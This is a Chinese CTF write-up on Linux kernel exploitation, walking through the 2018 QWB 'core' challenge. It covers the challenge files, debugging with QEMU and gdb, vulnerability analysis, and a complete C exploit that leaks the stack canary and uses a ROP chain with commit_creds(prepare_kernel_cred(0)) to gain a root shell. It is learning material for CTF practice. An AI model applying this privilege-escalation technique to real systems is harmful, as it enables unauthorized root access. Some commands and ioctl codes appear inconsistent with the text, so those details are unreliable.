• 通常CTF中Kernel类型的题目一般会给 start.sh(当然也可以是其他的名字例如:startvm.sh)、一个cpio文件、一个ko文件、还有bzImage。
  • 下面对这些文件进行说明。

1.文件说明

start.sh

此类文件是内核的启动脚本

qemu-system-x86_64 \ #代表64位
-m 256M \ #指定运存
-kernel ./bzImage \ #加载bzImage文件
-initrd  ./core.cpio \ #加载core.cpio文件
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr useradd Lime" \ #进行一些设置 比如这个有个kaslr 是开启kaslr模式类似于传统的aslr
-gdb tcp::1234  \ #指定gdb调试的端口 这里使用的是1234端口
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \ 

cpio文件

此类文件是内核的归档。对其进行解压的命令是一般为:

cpio -idmv > core.cpio

解压后就能得到 usr、bin等系统文件夹。注意的是里面有个init文件。一般这个文件里面是对内核的初始化。里面一些命令我就不多说了。需要注意的是poweroff命令。在做题的时候可以将其改大一些。这样就不会在做题的时候莫名退出了。

ko文件

一般是需要pwn掉的模块也就是漏洞模块。

bzImage

bzImage 是 vmlinuz 经过 gzip 压缩后的文件。

vmliunx

vmlinux 是 ELF 文件,未压缩的内核,即编译出来的最原始的文件。用于我们寻找gadgets的。对于一些没给vmlinux的我们可以去bzImage中提取,具体用到 extract-vmlinux工具。安装教程可以自行百度。

2.工具准备

ROPgadgets

想必既然都学到Kernel里那么说明已经对 堆栈题有了基本都了解。那么ROPgadgets也必装了。当然也可以使用Ropper。

Qemu

这个网上安装的教程一大堆。注意的是安装了qemu即使不去按照教程去编译kernel、busybox也能做题,因为题目一般都给了这些内容。

3.题目演示

题目分析

  • 有了上述的准备后就可以开始痛快的做题了。首先拿wiki上面 2018强网杯-core来做演示。题目首先给了vmlinx、core.ko、start.sh、bzImage、core.cpio这五个文件。我们按照上面命令对core。cpio进行解压(这里注意解压的时候注意在本目录新建一个文件夹防止解压出来的文件夹与本层文件夹混淆。)解压好了。我们就查看下init文件。
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f
  • 变量kptr_restrict是可以用来限制内核地址的打印,当kptr_restrict=0时,会直接打印内核地址(%p和%pK效果一样);当kptr_restrict=1时,若在中断上下文或软中断时,%pK打印“pK-error”,否则内核地址打印全0;当kptr_restrict=2时,%pK打印内核地址为全0;
  • dmesg能够输出kernel ring buffer中的内容,这些内容中可能会包含一些敏感信息,我们可以通过设置内核参数 dmesg_restrict 为 1 的方式来禁止普通用户查看demsg信息。
  • checksec一下ko文件,发现开启NX Canary 当然还有默认开启的Kaslr。
  • 接下来对漏洞模块进行分析。把core.ko文件丢进IDA。
  • init和exit函数分别是对/proc/core的创建和卸载。这个不需要过多分析。
  • 主要要分析的是ioctl等函数。
  • 我们发现 当ioctl函数传入的参数a2
  • 为0x6677889B会执行core_read函数。
  • 为0x6677889C,会把off设置为我们传入的a3。
  • 为0x6677889A时,会执行core_copy_func函数。这里的printk跟printf差不多就是换了个名字而已。

接着查看core_read函数。

  • 其他的没啥看的。漏洞点在copy_to_user函数这里。这个函数的意思是从v5+off这个地址开始复制0x40字节的数据给v1,v1又是core_read函数的参数a1。在回到ioctl函数,注意到a1是我们通过iocal函数传入的a3。因为程序开启了Canary所以。这里的漏洞点就可以用来泄漏Canary了。毕竟off是可控的嘛。
  • 紧接着我们对core_copy_func函数进行分析。
  • 根据上图可以发现 传进来的al为int64 而下面qmemcpy确强行把al转换成int16了。而想要触发这个qmemcpy则必须要满足al<=63的检测。这里我们可以想到用负数的方式绕过检测。而且在强转的时候前面的字节会被忽略。这样我们可以通过伪造诸如 0xffffffffffff0000 | 0x200等,绕过改检测。原理很简单 当在检测al的时候 此时al是int64类型。而且为0xf开始会被认为的负数,而在qmemcpy时,被转换成int16类型了,就变成0x0200了。
  • 在对被复制的对象进行分析。首先看v2变量通过我们前面可以篡改al使其可以达到任意大小。我们很容易想到。可以栈溢出,而这个v2离ret 又刚好是0x50字节,至于为什么是0x50字节,不是到rbp是0x50,然后到ret应该加上一个rbp,刚好是0x58嘛) 我们可以通过点开 v2变量进行栈地址的查看。
  • 注意 在v2下面0x40的位置是canary,那么0x48就应该是rbp,而0x50刚好偏移为0 也就是ret。(当初我也是踩过这坑。还是调试一下比较方便。)
  • 有了思路,那么我们发现qmemcpy函数是从name这个全局变量中开始复制的,那么我们就用x 交叉引用查看下,哪里调用了name这个变量。发现是在core_write中用到了。在对其进行分析。
  • 函数很明确。当传入的v3=a3<=0x800时。调用copy_from_user函数从用户空间读取v3个字节到name这个全局变量。

4.总结及利用

梳理

  • 有了上述分析后,我们就可以梳理一下思路
  • 1.可以通过修改off变量进行 canary泄漏,然后用有copy_to_user函数。可以在利用脚本中创造一个数组接受canary。
  • 2.通过write将ROP链读入内核空间。
  • 3.最终通过qmemcpy触发栈溢出进而提权。

调试方法及利用脚本的写法

  • 很多时候分析倒是到位了。就是一做题总是出错。原因是利用脚本出错,或者调试不会调。那么接下来就对先对调试的方法进行说明。

qemu调试

  • 首先需要在 start.sh启动脚本中添加语句:
    • gdb tcp::端口
  • 改好后就有了一开始代码框中的那样。
  • 调试过程要先启动 start.sh脚本。首先得先进入题目。
  • 在题目中用lsmod命令的到 模块基地址。
  • 如上图所示。然后在配置gdb。
    • 先加载vmlinx符号表。
      • gdb vmlinx
    • 再加载题目symbols,便于下断点。
      • add-symbols-file core.ko 0xffffffffc0000000
    • 在连接到qemu。
      • target remote :端口(如target remote :1234)
    • 然后把断点下在core_ioctl函数。然后就是像正常堆栈题那样的调试了。

漏洞利用脚本

ROP链的构造
  • 首先在写exp的时候。我们首先思考,我们需要构造ROP链。那么ROP链从哪来呢。这里就需要用到ROPgadgets工具了。我们对vmlinux文件 使用ROPgadgets。将提取的gadgets写入文件中去。因为提取的过程很慢,一条一条查找估计时候够呛。
    • ROPgadgets --binary vmlinux > 1.txt
  • 然后在 1.txt搜索gadgets。笔者在用ROPgadgets时发现通过ROPgadgets寻找的gadgets竟然找不到ROP链中的iretq。这里有两种方法解决。
    • objdump -d vmlinux | grep iretq
    • 将vmlinux拖进ida,然后进行文本查找搜索iretq
  • 不过我建议使用objdump,因为快呀。
  • 既然有溢出了我们就要想到如何通过溢出达到提取目的。

这里我们使用 commit_creds()和prepare_kernel_cred()函数来实现目的。通过rop构造commit_creds(prepare_kernel_cred(0))来进行提取。最后就是放出利用脚本了。既然能看到这里就说明已经通过ctf-wiki了解了一些详细ROP链构造内容。本文只是对wiki的一些补充,补充一些小技巧和坑点。由于笔者也是一名pwn萌新。所以笔者在这里也不过多赘述了。

EXP
#include "stdio.h"
#include "fcntl.h"
#include "sys/ioctl.h"
#include "unistd.h"
#include "stdlib.h"
int fd;

void core_write(size_t *buf){
	ioctl(fd,0x6677889B,buf);
}
void change_off(size_t off){
	ioctl(fd,0x6677889C,off);
}
void core_read(size_t off){
	ioctl(fd,0x6677889A,off);
}

size_t user_ss,user_cs,user_sp,user_rflags;
void save_status(){
	asm(
		"mov user_cs,cs;"
		"mov user_ss,ss;"
		"mov user_sp,rsp;"
		"pushf;"
		"pop user_rflags;"
	);
	puts("[+]Save Successful!");
}
void shell(){
	if(getuid()==0){
		puts("[+]Hacked it!");
		system("/bin/sh");
	}else{
		puts("[-]Hack failed!");
	}
}
int main(){
	save_status();
	int i;
	size_t buf[0x30];
	size_t offset;
	fd=open("/proc/core",2);
	if(fd<0){
		puts("[-]Open Failed!");
		exit(0);
	}
	change_off(0x40);
	core_write(buf);
	for(i=0;i<50;i++){
		printf("idx:%d ptr:%lx\n",i,buf[i]);
	}
	size_t canary=buf[0];
	offset=buf[4]-0xffffffff811dd6d1;
	size_t commit_creds,prepare_kernel_cred;
	commit_creds=0xffffffff8109c8e0+offset;
	prepare_kernel_cred=0xffffffff8109cce0+offset;
	size_t pop_rdi_ret,pop_rdx_ret,pop_rcx_ret,swapgs_popfq_ret;
	size_t iretd,mov_rdi_rax_call_rdx;
	pop_rdi_ret=0xffffffff81000b2f+offset;
	pop_rdx_ret=0xffffffff810a0f49+offset;
	pop_rcx_ret=0xffffffff81021e53+offset;
	swapgs_popfq_ret=0xffffffff81a012da+offset;
	mov_rdi_rax_call_rdx=0xffffffff8101aa6a+offset;
	iretd=0xffffffff81050ac2+offset;
	printf("offset:%lx\n",offset);
	printf("canary:%lx\n",canary);
	printf("commit_creds:%lx\n",commit_creds);
	printf("prepare_kernel_cred:%lx\n",prepare_kernel_cred);
	size_t rop[0x30]={0};
	for(i=0;i<10;i++){
		rop[i]=canary;
	}
	puts("---------------------------------");
	rop[i++]=pop_rdi_ret;
	rop[i++]=0;
	rop[i++]=prepare_kernel_cred;
	rop[i++]=pop_rdx_ret;
	rop[i++]=pop_rcx_ret;
	rop[i++]=mov_rdi_rax_call_rdx;
	rop[i++]=commit_creds;
	rop[i++]=swapgs_popfq_ret;
	rop[i++]=0;
	rop[i++]=iretd;
	rop[i++]=(size_t)shell;
	rop[i++]=user_cs;
	rop[i++]=user_rflags;
	rop[i++]=user_sp;
	rop[i++]=user_ss;
	for(i=0;i<0x30;i++){
		printf("idx:%d content:%lx\n",i,rop[i]);
	}
	write(fd,rop,0x200);
	core_read(0xffffffffffff0100);
}